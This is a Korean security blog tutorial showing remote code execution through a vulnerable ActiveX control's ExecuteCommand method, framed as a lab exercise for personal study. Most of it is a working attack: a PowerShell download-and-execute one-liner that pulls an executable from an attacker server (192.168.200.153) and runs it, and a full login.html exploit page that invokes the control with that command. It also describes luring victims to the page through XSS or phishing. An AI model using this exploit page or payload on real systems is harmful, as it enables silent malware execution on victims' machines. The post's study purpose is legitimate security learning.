Season 1/기술 보안

[ActiveX] 4장. ActiveX 취약점 RCE(Remote Code Execution)

작성자 - S1ON

개요

이번 장에서는 ActiveX의 취약점을 이용하여 강제로 원격명령코드를 실행시킬 수 있는 과정을 소개한다.

※ 해당 포스트는 개인 공부 목적으로 작성하였으며, 허가받지 않은 무분별한 해킹은 수감생활을 앞당길 수 있음을 알려드립니다.

 

ActiveX 취약점 테스트 구성

공격자 서버 http://192.168.200.153/login.html
공격 시나리오 1. 공격자는 ActiveX의 취약함수(ExecuteCommand)를 호출하는 코드를 공격자 웹 서버에 올려둔다.
2. 피해자는 공격자의 웹 서버로 유인(XSS, 피싱 등)되어 공격자가 임의 조작한 ActiveX 함수를 호출한다.
3. 피해자의 PC에서 공격 코드가 실행되며, 피해자의 의지와 무관하게 공격자 서버에서 악성 실행파일을 다운받고 즉시 실행한다.
공격 명령어 PowerShell (New-Object System.Net.WebClient).DownloadFile('http://192.168.200.153/calc.exe','calc.exe');(New-Object -com Shell.Application).ShellExecute('calc.exe');
공격 명령어 설명 파워쉘을 이용해 공격자 서버(http://192.168.200.153/)에서 악성 파일(calc.exe)을 다운로드 받고 해당 파일을 즉시 실행하는 명령어

 

RCE 공격 수행

1. 파이썬을 이용해 피해자를 유인할 공격자 웹서버를 구축한다.

 

2. 공격자 웹서버 경로에 ActiveX의 취약함수(ExecuteCommand)를 이용하여 cmd로 파워쉘을 실행시킨 뒤 악성 파일을 다운로드 받고 즉시 실행될 수 있도록 함수 인자를 조작한 코드(login.html)를 작성한다.

<html>
<body>
<object classid="CLSID:0e6f377f-0d8d-4d07-873c-f57481ed9f58""
 width="0" height="0" id="SION">
</object>

<script type="text/javascript">
function ExecuteCommand(path, option){
document.SION.ExecuteParamPath(path);
document.SION.ExecuteParamOption(option);
};

ExecuteCommand("\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","(New-Object System.Net.WebClient).DownloadFile('http://192.168.200.153/calc.exe','calc.exe');(New-Object -com Shell.Application).ShellExecute('calc.exe');");
</script>
</body>
</html>

 

3. 작성한 공격코드(login.html)와 피해자 PC에서 실행시킬 악성파일(calc.exe)을 공격자 웹서버에 업로드 한다.


4. 피해자를 공격자의 웹서버로 유인하여 ActiveX의 취약한 함수를 통해 RCE(원격명령실행) 공격을 수행한다.

 

5. 피해자의 PC에서 파워쉘이 실행되며 악성 파일이 다운로드 및 실행된다.

 

'Season 1 > 기술 보안' 카테고리의 다른 글

[Fortigate] NAT 설정  (0) 2022.04.30
Burpsuite Collaborator  (0) 2022.04.26
SQLI 보안 솔루션 및 입력 값 검증 우회 기법  (0) 2022.03.30
LFI, RFI 취약점 설명 및 실습  (0) 2022.03.29
Android Frida  (0) 2022.03.21
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.